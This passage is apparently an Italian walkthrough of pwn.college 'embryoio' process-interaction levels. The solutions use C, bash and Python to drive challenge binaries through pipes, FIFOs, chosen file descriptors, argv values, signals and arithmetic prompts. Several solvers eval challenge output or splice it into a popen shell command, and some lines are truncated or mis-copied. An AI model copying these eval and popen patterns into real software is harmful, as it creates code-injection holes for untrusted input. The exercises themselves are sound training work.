
        char cmd[2048];
        snprintf(cmd, sizeof(cmd), "python3 -c \"print(%s)\"", expr);

        FILE *p = popen(cmd, "r");
        char res[128];
        fgets(res, sizeof(res), p);
        pclose(p);

        fprintf(cin, "%s", res);
        fflush(cin);
    }
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

113

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will force the parent process to solve a number of arithmetic problems : 5 - the challenge will use the following arithmetic operations in its arithmetic problems : +*%- the complexity (in terms of nested expressions) of the arithmetic problems : 3

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void pwncollege(void) { }

int main() {

```

```

int in[2], out[2];
pipe(in);
pipe(out);

if (fork() == 0) {
    dup2(in[0], 0);
    dup2(out[1], 1);
    execl("/challenge/embryoio_level113", "/challenge/embryoio_level113", NULL);
    exit(1);
}

close(in[0]);
close(out[1]);

FILE *cin = fdopen(in[1], "w");
FILE *cout = fdopen(out[0], "r");

char line[1024];

while (fgets(line, sizeof(line), cout)) {
    printf("%s", line);

    if (strstr(line, "Please send the solution for:")) {
        char *expr = strstr(line, ": ") + 2;

        char cmd[2048];
        snprintf(cmd, sizeof(cmd), "python3 -c \"print(%s)\"", expr);

        FILE *p = popen(cmd, "r");
        char res[128];
        fgets(res, sizeof(res), p);
        pclose(p);

        fprintf(cin, "%s", res);
        fflush(cin);
    }
}
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

114

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 0:/tmp/rwzrwh

SOLUZIONE:

- 1) Modifico il file `script.c`

```
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid==0){
        execlp("/challenge/embryoio_level114", "/tmp/rwzrwh", NULL);
    }else wait(NULL);
}

void main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}
```

- 2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

115

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 0:cvwbct

SOLUZIONE:

- 1) Esporta la cartella attuale al PATH: `export PATH=$PATH:.`

- 2) Modifico il file `script.c`

```
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();
```

```

        if(pid==0){
            execlp("/challenge/embryoio_level115","cvwbct",NULL);
        }else wait(NULL);
    }

void main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}

```

3) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

116

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will make sure that stdin is redirected from a fifo - the challenge will check for a hardcoded password over stdin : usixxqpw

SOLUZIONE:

1) Modifico il file script.c

```

#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>

void pwncollege() {
    char *fifo = "/tmp/pwd";

    mkfifo(fifo, 0600); // 0600 = permesso rw delle fifo

    pid_t pid = fork();

    if (pid == 0) {
        int fd = open(fifo, O_RDONLY);
        dup2(fd, 0); // stdin <- FIFO
        close(fd);
        execl("/challenge/embryoio_level116", "/challenge/embryoio_level116", NULL);
    } else {
        int fd = open(fifo, O_WRONLY);
        write(fd, "usixxqpw\n", 9); // password
        close(fd);
    }
}

```

```

        wait(NULL);
    }
}

int main(int argc, char **argv, char **envp) {
    pwncollege();
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

117

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will make sure that stdout is a redirected from fifo

SOLUZIONE:

VERSIONE 1: più semplice ma con cat manuale

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>

void pwncollege() {
    char *fifo = "/tmp/pwd";

    mkfifo(fifo, 0600); // crea FIFO

    pid_t pid = fork();

    if (pid == 0) {
        int fd = open(fifo, O_WRONLY); // apri FIFO in scrittura
        dup2(fd, 1); // stdout -> FIFO
        close(fd);

        execl("/challenge/embryoio_level117",
              "/challenge/embryoio_level117",
              NULL);
    } else {
        wait(NULL);
    }
}

```

```
}
```

```
int main(int argc, char **argv, char **envp) {  
    pwncollege();  
}
```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c  
/home/hacker/Desktop/pwncollege
```

3) In un'altro terminale, leggo lo stdout: `cat /tmp/pwd`

VERSIONE 2: più complessa ma automatica

1) Modifico il file `script.c`

```
#include <stdio.h>  
#include <unistd.h>  
#include <sys/wait.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
  
void pwncollege() {  
    char *fifo = "/tmp/pwd";  
  
    mkfifo(fifo, 0600);  
  
    /* reader: equivalente di `cat /tmp/pwd` */  
    if (fork() == 0) {  
        int fd = open(fifo, O_RDONLY);  
        char buf[1024];  
        ssize_t n;  
        while ((n = read(fd, buf, sizeof(buf))) > 0)  
            write(1, buf, n);    // ristampa su stdout reale  
        close(fd);  
        _exit(0);  
    }  
  
    /* writer: la challenge */  
    pid_t pid = fork();  
  
    if (pid == 0) {  
        int fd = open(fifo, O_WRONLY);  
        dup2(fd, 1);    // stdout -> FIFO  
        close(fd);  
  
        execl("/challenge/embryoio_level117", "/challenge/embryoio_level117", NULL);  
    } else {
```

```

        wait(NULL);
    }
}

```

```

int main(int argc, char **argv, char **envp) {
    pwncollege();
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

118

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will make sure that stdin is redirected from a fifo - the challenge will make sure that stdout is a redirected from fifo - the challenge will check for a hardcoded password over stdin : fpaugkjp

SOLUZIONE:

1) Creo le fifo (se non esistono già): `mkfifo in_pipe out_pipe`

2) Modifico il file `script.c`

```

#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>

void pwncollege() {
    char *in_fifo = "/tmp/inp";
    char *out_fifo = "/tmp/outp";

    mkfifo(in_fifo, 0600);
    mkfifo(out_fifo, 0600);

    /* ===== reader stdout (come 117) ===== */
    if (fork() == 0) {
        int fd = open(out_fifo, O_RDONLY);
        char buf[1024];
        ssize_t n;
        while ((n = read(fd, buf, sizeof(buf))) > 0)
            write(1, buf, n);
        close(fd);
        _exit(0);
    }
}

```

```

    }

    /* ===== challenge (come 116 + 117) ===== */
    pid_t pid = fork();

    if (pid == 0) {
        int in = open(in_fifo, O_RDONLY);
        int out = open(out_fifo, O_WRONLY);
        dup2(in, 0); // stdin <- FIFO
        dup2(out, 1); // stdout -> FIFO
        close(in);
        close(out);

        execl("/challenge/embryoio_level118", "/challenge/embryoio_level118", NULL);
    } else {

        /* ===== writer password (come 116) ===== */
        int fd = open(in_fifo, O_WRONLY);
        write(fd, "fpaugkjp\n", 9);
        close(fd);
        wait(NULL);
    }
}

int main(int argc, char **argv, char **envp) {
    pwncollege();
}

```

3) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

119

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will make sure that stdin is redirected from a fifo - the challenge will make sure that stdout is a redirected from fifo - the challenge will force the parent process to solve a number of arithmetic problems : 1 - the challenge will use the following arithmetic operations in its arithmetic problems : +* - the complexity (in terms of nested expressions) of the arithmetic problems : 1

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>

```

```

#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <string.h>

int pwncollege(void) { return 0; }

int main() {
    const char *in_fifo = "in_pipe";
    const char *out_fifo = "out_pipe";

    mkfifo(in_fifo, 0600);
    mkfifo(out_fifo, 0600);

    pid_t pid = fork();

    if (pid == 0) {
        int in = open(in_fifo, O_RDONLY);
        int out = open(out_fifo, O_WRONLY);
        dup2(in, 0);
        dup2(out, 1);
        execl("/challenge/embryoio_level119", "embryoio_level119", NULL);
    }

    int in = open(in_fifo, O_WRONLY);
    int out = open(out_fifo, O_RDONLY);

    char buf[1024];
    char acc[4096] = {0};

    while (1) {
        int n = read(out, buf, sizeof(buf)-1);
        if (n <= 0) break;

        buf[n] = 0;
        write(1, buf, n); // stampa output challenge
        strncat(acc, buf, sizeof(acc)-strlen(acc)-1);

        char *p = strstr(acc, "solution for:");
        if (p) {
            int x;
            if (sscanf(p, "solution for: %d", &x) == 1) {
                char ans[64];
                sprintf(ans, "%d\n", x);
            }
        }
    }
}

```

```

        write(in, ans, strlen(ans)); // manda risposta
        break;
    }
}

// stampo il resto delle righe per vedere la flag
int n;
while ((n = read(out, buf, sizeof(buf))) > 0)
    write(1, buf, n);

close(in);
close(out);
wait(NULL);
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

120

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will take input on a specific file descriptor : 341 - the challenge will check for a hardcoded password over stdin : oefxarzz

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>

void pwncollege(char** argv, char** envp){

    char *fifo = "in_pipe";
    unlink(fifo);
    mkfifo(fifo, 0600);

    pid_t pid = fork();

    if(pid == 0){
        int fd = open(fifo, O_RDONLY);

```

```

        dup2(fd, 341);          // FD 341 <- FIFO
        close(fd);

        execl("/challenge/embryoio_level120", "/challenge/embryoio_level120", NULL);
    }
    else {
        int fd = open(fifo, O_WRONLY);
        write(fd, "oefxarzz\n", 9);
        close(fd);
        wait(NULL);
    }
}

int main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

121

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will take input on a specific file descriptor : 2 - the challenge will check for a hardcoded password over stdin : aitlnbj

SOLUZIONE:

1) Modifico il file script.c

```

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>

void pwncollege(char** argv, char** envp){

    char *fifo = "in_pipe";
    unlink(fifo);
    mkfifo(fifo, 0600);

    pid_t pid = fork();

    if(pid == 0){

```

```

    int fd = open(fifo, O_RDONLY);
    dup2(fd, 2);          // FD 2 <- FIFO
    close(fd);

    execl("/challenge/embryoio_level121", "/challenge/embryoio_level121", NULL);
}
else {
    int fd = open(fifo, O_WRONLY);
    write(fd, "aitlnbji\n", 9);
    close(fd);
    wait(NULL);
}
}

int main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

122

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will take input on a specific file descriptor : 1 - the challenge will check for a hardcoded password over stdin : thvueynh

SOLUZIONE:

1) Modifico il file script.c

```

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid == 0){
        dup2(0,1);
        char *proc = "/challenge/embryoio_level122";
        execlp(proc,proc,NULL);
    }else{

```

```

        wait(NULL);
    }
}

void main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

3) Invio la password: thvueynh

123

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will take input on a specific file descriptor : 1 - the challenge will check for a hardcoded password over stdin : thvueynh

SOLUZIONE:

1) Modifico il file script.c

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){
    pid_t pid = fork();

    if(pid == 0){
        execlp("/challenge/embryoio_level123", "/challenge/embryoio_level123", NULL);
    }else wait(NULL);
}

int main(){
    pwncollege();
    exit(0);
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

- 3) Apro un secondo terminale ed invio il segnale richiesto con: `kill -NOMESEGNALE PID`, es `kill -SIGHUP 1268`

124

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will require the parent to send number of signals : 5

SOLUZIONE:

- 1) Modifico il file `script.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){
    pid_t pid = fork();

    if(pid == 0){
        execlp("/challenge/embryoio_level124", "/challenge/embryoio_level124", NULL);
    }else wait(NULL);
}

int main(){
    pwncollege();
    exit(0);
}
```

- 2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

- 3) Apro un secondo terminale ed invio i segnali richiesti con: `kill -NOMESEGNALE PID`, es `kill -SIGHUP 1268`

125

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will force the parent process to solve a number of arithmetic problems : 50 - the challenge will use the following arithmetic operations in its arithmetic problems : `+*&^%|` - the complexity (in terms of nested expressions) of the arithmetic problems : 5

SOLUZIONE:

- 1) Modifico `script2.sh` (è lo stesso script deo livelli 86 e 87):

```
#!/bin/bash

CHALLENGE="/challenge/embryoio_level*"

# avvia la challenge con una coprocess (stdin/stdout bidirezionali)
coproc CHAL { $CHALLENGE "$@"; }

count=0

# Leggiamo tutto ciò che stampa la challenge
while IFS= read -r line <&"${CHAL[0]}"; do
    echo "$line" >&2 # mostra output a schermo

    if [[ "$line" == *"Please send the solution for:"* ]]; then
        expr="${line#*: }"

        result=$(python3 - <<EOF
expr = "$expr"
print(eval(expr))
EOF
)

        echo "$result" >&"${CHAL[1]}"
        ((count++))
    fi
done
```

2) Lo script è uguale al'es 86: /home/hacker/Desktop/script2.sh

126

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will force the parent process to solve a number of arithmetic problems : 500 - the challenge will use the following arithmetic operations in its arithmetic problems : +*&^%| - the complexity (in terms of nested expressions) of the arithmetic problems : 10

SOLUZIONE:

1) Modifico script2.sh (è lo stesso script deo livelli 86 e 87):

```
#!/bin/bash

CHALLENGE="/challenge/embryoio_level*"

# avvia la challenge con una coprocess (stdin/stdout bidirezionali)
coproc CHAL { $CHALLENGE "$@"; }

count=0
```

```

# Leggiamo tutto ciò che stampa la challenge
while IFS= read -r line <&"${CHAL[0]}"; do
    echo "$line" >&2 # mostra output a schermo

    if [[ "$line" == *"Please send the solution for:"* ]]; then
        expr="${line#*: }"

        result=$(python3 - <<EOF
expr = "$expr"
print(eval(expr))
EOF
)

        echo "$result" >&"${CHAL[1]}"
        ((count++))
    fi
done

```

2) Lo script è uguale al'es 86: /home/hacker/Desktop/script2.sh

127

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will require the parent to send number of signals : 50

SOLUZIONE:

1) Eseguo la challenge con script.sh:

```
#!/bin/bash
```

```
/challenge/embryoio_level* "$@"
```

2) Modifico il file scriptsignals.py incollando al posto di sigs i segnali richiesti, ed al posto di pid il pid del file:

```
#!/user/bin/python
```

```
import subprocess
import signal
```

```
sigs = ['SIGINT', 'SIGINT', 'SIGUSR1', 'SIGINT', 'SIGHUP', 'SIGUS R2', 'SIGUSR2', 'SIGABR
```

```
pid = "15435"
```

```
for sig in sigs:
    subprocess.run(["kill","-"+sig,pid])
```

- 2) Eseguo script.py in un secondo terminale: `python3 /home/hacker/Desktop/scriptsignals.py`

128

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will require the parent to send number of signals : 500

SOLUZIONE:

- 1) Eseguo la challenge con `script.sh`:

```
#!/bin/bash
```

```
/challenge/embryoio_level* "$@"
```

- 2) Modifico il file `scriptsignals.py` incollando al posto di sigs i segnali richiesti, ed al posto di pid il pid del file:

```
#!/user/bin/python
```

```
import subprocess
import signal
```

```
sigs = ['SIGINT', 'SIGINT', 'SIGUSR1', 'SIGINT', 'SIGHUP', 'SIGUS R2', 'SIGUSR2', 'SIGAB
```

```
pid = "15435"
```

```
for sig in sigs:
    subprocess.run(["kill","-"+sig,pid])
```

- 2) Eseguo script.py in un secondo terminale: `python3 /home/hacker/Desktop/scriptsignals.py`

129

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge checks for a specific process at the other end of stdin : cat - the challenge checks for a specific process at the other end of stdout : cat - the challenge will force the parent process to solve a number of arithmetic problems : 50 - the challenge will use the following arithmetic operations in its arithmetic problems : +*&^%| - the complexity (in terms of nested expressions) of the arithmetic problems : 5

SOLUZIONE:

- 1) Modifico `script2.sh`:

```
#!/bin/bash
```

```
IN=in_pipe
```

```

OUT=out_pipe

rm -f "$IN" "$OUT"
mkfifo "$IN" "$OUT"

# pipeline richiesta dal check
cat < "$IN" | /challenge/embryoio_level129 | cat > "$OUT" &

# fd 3 = leggiamo output challenge
# fd 4 = scriviamo input challenge
exec 3<"$OUT"
exec 4>"$IN"

# loop solver
while IFS= read -r line <&3; do
    echo "$line" >&2 # debug a schermo

    if [[ "$line" == *"Please send the solution for: "* ]]; then
        expr="{line#*: }"
        result=$(python3 - <<EOF
print(eval("$expr"))
EOF
)
        echo "$result" >&4
    fi
done

2) Eseguo: /home/hacker/Desktop/script2.sh

```

130

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will force the parent process to solve a number of arithmetic problems : 50 - the challenge will use the following arithmetic operations in its arithmetic problems : +*&^%| - the complexity (in terms of nested expressions) of the arithmetic problems : 5

SOLUZIONE:

1) Modifico il file `script.py`:

```

#!/bin/env python3
from pwn import *

p = process(["/challenge/embryoio_level130"])
ch_str = "Please send the solution for: "
p.recvuntil(b"[TEST] CHALLENGE!")

```

```

while True:
    line = p.recvline().decode()
    print(line.strip())

    if ch_str in line:
        expr = line.split(":", 1)[1].strip()
        res = eval(expr)
        p.sendline(str(res))
    if "pwn" in line:
        break

p.interactive()

2) Eseguo con python3 /home/hacker/Desktop/script.py

```

131

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will force the parent process to solve a number of arithmetic problems : 500 - the challenge will use the following arithmetic operations in its arithmetic problems : +*&^%| - the complexity (in terms of nested expressions) of the arithmetic problems : 10

SOLUZIONE:

```

1) Modifico il file script.py:

#!/bin/env python3
from pwn import *

p = process(["/challenge/embryoio_level131"])
ch_str = "Please send the solution for: "
p.recvuntil(b"[TEST] CHALLENGE!")

while True:
    line = p.recvline().decode()
    print(line.strip())

    if ch_str in line:
        expr = line.split(":", 1)[1].strip()
        res = eval(expr)
        p.sendline(str(res))
    if "pwn" in line:
        break

p.interactive()

2) Eseguo con python3 /home/hacker/Desktop/script.py

```

132

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will require the parent to send number of signals : 50

SOLUZIONE:

- 1) Modifico il file `script.py`:

```
#!/user/bin/python
```

```
import subprocess
subprocess.run("/challenge/embryoio level132")
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`
- 3) Modifico il file `scriptsignals.py` incollando al posto di `sigs` i segnali richiesti, ed al posto di `pid` il pid del file:

```
#!/user/bin/python
```

```
import subprocess
import signal
```

```
sigs = ['SIGINT', 'SIGINT', 'SIGUSR1', 'SIGINT', 'SIGHUP', 'SIGUSR2', 'SIGABRT', 'SIGFPE', 'SIGSEGV', 'SIGILL', 'SIGTRAP', 'SIGBUS', 'SIGSYS', 'SIGXCPU', 'SIGXFSZ', 'SIGTSTP', 'SIGTTIN', 'SIGTTOU', 'SIGURG', 'SIGPOLL', 'SIGSTAL', 'SIGIO', 'SIGIOT', 'SIGPWR', 'SIGWINCH', 'SIGLWP', 'SIGINFO', 'SIGUSR3', 'SIGRTMIN', 'SIGRT1', 'SIGRT2', 'SIGRT3', 'SIGRT4', 'SIGRT5', 'SIGRT6', 'SIGRT7', 'SIGRT8', 'SIGRT9', 'SIGRT10', 'SIGRT11', 'SIGRT12', 'SIGRT13', 'SIGRT14', 'SIGRT15']
pid = "15435"
```

```
for sig in sigs:
    subprocess.run(["kill","-"+sig,pid])
```

- 4) Eseguo scriptsignals.py in un secondo terminale: `python3 /home/hacker/Desktop/scriptsignals.py`

133

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will require the parent to send number of signals : 500

SOLUZIONE:

- 1) Modifico il file `script.py`:

```
#!/user/bin/python
```

```
import subprocess
subprocess.run("/challenge/embryoio_level133")
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`

- 3) Modifico il file `scriptsignals.py` incollando al posto di `sigs` i segnali richiesti, ed al posto di `pid` il pid del file:

```
#!/user/bin/python
```

```
import subprocess
import signal
```

```
sigs = ['SIGINT', 'SIGINT', 'SIGUSR1', 'SIGINT', 'SIGHUP', 'SIGUS R2', 'SIGUSR2', 'SIGABR
```

```
pid = "15435"
```

```
for sig in sigs:
    subprocess.run(["kill","-"+sig,pid])
```

- 4) Eseguo scriptsignals.py in un secondo terminale: `python3 /home/hacker/Desktop/scriptsignals.py`

134

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge checks for a specific process at the other end of stdin : cat - the challenge checks for a specific process at the other end of stdout : cat - the challenge will force the parent process to solve a number of arithmetic problems : 50 - the challenge will use the following arithmetic operations in its arithmetic problems : +*&^%| - the complexity (in terms of nested expressions) of the arithmetic problems : 5

SOLUZIONE:

- 1) Modifico il file `script.py`:

```
#!/user/bin/python
```

```
import subprocess, os, fcntl
```

```
r1,w1 = os.pipe()
```

```
r2,w2 = os.pipe()
```

```
c1 = subprocess.Popen(["cat"],stdin=subprocess.PIPE,stdout=w1)
```

```
p = subprocess.Popen(["/challenge/embryoio_level134"],stdin=r1,stdout=w2)
```

```
c2 = subprocess.Popen(["cat"],stdin=r2,stdout=subprocess.PIPE)
```

```
for i in range(50):
```

```
line = ''
```

```
while True:
```

```
line = c2.stdout.readline().decode()
```

```
if "CHALLENGE" in line or line == "":
```

break

```

print(line)

cmd = line.split(':')[1].strip()
print(cmd)

res = eval(cmd)
print(res)

c1.stdin.write(b"%d\n"%res)
c1.stdin.flush()

while True:
    line = c2.stdout.readline().decode()
    if "pwn.college{" in line or line == "":
        print(line)
        break

```

2) Eseguo con `python3 /home/hacker/Desktop/script.py`

135

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will force the parent process to solve a number of arithmetic problems : 50 - the challenge will use the following arithmetic operations in its arithmetic problems : `+*&^%|` - the complexity (in terms of nested expressions) of the arithmetic problems : 5

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void pwncollege(void) { }

int main() {
    int in[2], out[2];
    pipe(in);
    pipe(out);

    if (fork() == 0) {
        dup2(in[0], 0);
        dup2(out[1], 1);
        execl("/challenge/embryoio_level135", "/challenge/embryoio_level135", NULL);
    }
}

```

```

        exit(1);
    }

    close(in[0]);
    close(out[1]);

    FILE *cin = fdopen(in[1], "w");
    FILE *cout = fdopen(out[0], "r");

    char line[1024];

    while (fgets(line, sizeof(line), cout)) {
        printf("%s", line);

        if (strstr(line, "Please send the solution for:")) {
            char *expr = strstr(line, ": ") + 2;

            char cmd[2048];
            snprintf(cmd, sizeof(cmd), "python3 -c \"print(%s)\"", expr);

            FILE *p = popen(cmd, "r");
            char res[128];
            fgets(res, sizeof(res), p);
            pclose(p);

            fprintf(cin, "%s", res);
            fflush(cin);
        }
    }
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

136

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will force the parent process to solve a number of arithmetic problems : 500 - the challenge will use the following arithmetic operations in its arithmetic problems : +*&^%| - the complexity (in terms of nested expressions) of the arithmetic problems : 10

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void pwncollege(void) {}

int main() {
    int chal_in[2], chal_out[2];
    int py_in[2], py_out[2];

    pipe(chal_in); pipe(chal_out);
    pipe(py_in);   pipe(py_out);

    // ===== Python solver =====
    if (fork() == 0) {
        dup2(py_in[0], 0);
        dup2(py_out[1], 1);
        execlp("python3", "python3", "-c",
            "import sys\n"
            "sys.setrecursionlimit(1000000)\n"
            "for l in sys.stdin:\n"
            "    print(eval(l.strip()))\n"
            "    sys.stdout.flush()\n", NULL);
        exit(1);
    }

    // ===== Challenge =====
    if (fork() == 0) {
        dup2(chal_in[0], 0);
        dup2(chal_out[1], 1);
        execl("/challenge/embryoio_level136", "embryoio", NULL);
        exit(1);
    }

    close(chal_in[0]); close(chal_out[1]);
    close(py_in[0]);   close(py_out[1]);

    FILE *cin  = fdopen(chal_in[1], "w");
    FILE *cout = fdopen(chal_out[0], "r");
    FILE *pyw  = fdopen(py_in[1], "w");
    FILE *pyr  = fdopen(py_out[0], "r");

    char line[200000];

    while (fgets(line, sizeof(line), cout)) {

```

```

printf("%s", line);

if (strstr(line, "Please send the solution for:")) {
    char *expr = strstr(line, ": ") + 2;

    fprintf(pyw, "%s", expr);
    fflush(pyw);

    fgets(line, sizeof(line), pyr);

    fprintf(cin, "%s", line);
    fflush(cin);
}
}
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

137

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will require the parent to send number of signals : 50

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid == 0){
        dup2(0,1);
        char *proc = "/challenge/embryoio_level137";
        execlp(proc,proc,NULL);
    }else{
        wait(NULL);
    }
}

```

```
void main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}
```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

3) Modifico il file `scriptsignals.py` incollando al posto di `sigs` i segnali richiesti, ed al posto di `pid` il pid del file:

```
#!/user/bin/python
```

```
import subprocess
import signal
```

```
sigs = ['SIGINT', 'SIGINT', 'SIGUSR1', 'SIGINT', 'SIGHUP', 'SIGUS R2', 'SIGUSR2', 'SIGABRT']
```

```
pid = "15435"
```

```
for sig in sigs:
    subprocess.run(["kill","-"+sig,pid])
```

4) Eseguo `scriptsignals.py` in un secondo terminale: `python3 /home/hacker/Desktop/scriptsignals.py`

138

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will require the parent to send number of signals : 500

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
```

```
void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid == 0){
        dup2(0,1);
        char *proc = "/challenge/embryoio_level138";
        execlp(proc,proc,NULL);
    }
}
```

```

    }else{
        wait(NULL);
    }
}

```

```

void main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

3) Modifico il file `scriptsignals.py` incollando al posto di `sigs` i segnali richiesti, ed al posto di `pid` il pid del file:

```

#!/user/bin/python

```

```

import subprocess
import signal

```

```

sigs = ['SIGINT', 'SIGINT', 'SIGUSR1', 'SIGINT', 'SIGHUP', 'SIGUS R2', 'SIGUSR2', 'SIGABR

```

```

pid = "15435"

```

```

for sig in sigs:
    subprocess.run(["kill","-"+sig,pid])

```

4) Eseguo `scriptsignals.py` in un secondo terminale: `python3 /home/hacker/Desktop/scriptsignals.py`

139

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge checks for a specific process at the other end of stdin : cat - the challenge checks for a specific process at the other end of stdout : cat - the challenge will force the parent process to solve a number of arithmetic problems : 50 - the challenge will use the following arithmetic operations in its arithmetic problems : `+*&^%|` - the complexity (in terms of nested expressions) of the arithmetic problems : 5

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>

```

```

void pwncollege(void) {}

/* python3 -c "print(expr)" */
void solve(const char *expr, char *out, size_t n) {
